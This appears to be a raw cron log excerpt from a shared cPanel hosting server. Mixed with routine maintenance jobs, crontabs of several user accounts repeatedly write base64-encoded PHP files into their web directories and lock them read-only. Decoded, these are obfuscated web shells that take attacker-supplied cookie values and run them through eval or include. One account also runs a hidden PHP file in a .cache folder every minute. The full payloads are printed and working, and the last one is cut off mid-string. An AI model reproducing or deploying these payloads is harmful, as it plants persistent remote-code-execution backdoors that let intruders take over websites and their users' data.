Mar  1 21:20:01 medusa CROND[32500]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:20:01 medusa CROND[32506]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:20:01 medusa CROND[32513]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:20:01 medusa CROND[32511]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 21:20:01 medusa CROND[32515]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 21:20:01 medusa CROND[32514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 21:20:01 medusa CROND[32518]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:20:01 medusa CROND[32522]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:20:01 medusa CROND[32524]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 21:20:01 medusa CROND[32525]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 21:20:01 medusa CROND[32528]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 21:20:01 medusa CROND[32519]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:20:01 medusa CROND[32526]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 21:20:01 medusa CROND[32557]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:20:01 medusa CROND[32562]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:20:01 medusa CROND[32566]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 21:20:01 medusa CROND[32553]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 21:20:01 medusa CROND[32554]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 21:20:01 medusa CROND[32559]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 21:20:01 medusa CROND[32548]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 21:20:02 medusa CROND[32565]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 21:21:01 medusa CROND[14256]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 21:21:01 medusa CROND[14308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:21:01 medusa CROND[14314]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:21:01 medusa CROND[14574]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:21:01 medusa CROND[14573]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 21:21:01 medusa CROND[14580]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:21:01 medusa CROND[14576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:21:01 medusa CROND[14589]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:21:01 medusa CROND[14590]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:21:01 medusa CROND[14593]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 21:21:01 medusa CROND[14594]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:21:01 medusa CROND[14602]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:21:01 medusa CROND[14608]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:21:02 medusa CROND[14614]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:22:02 medusa CROND[27974]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:22:02 medusa CROND[27975]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 21:22:02 medusa CROND[27978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:22:02 medusa CROND[27979]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:22:02 medusa CROND[27980]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:22:02 medusa CROND[27982]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 21:22:02 medusa CROND[27989]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:22:02 medusa CROND[27990]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:22:02 medusa CROND[27992]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcn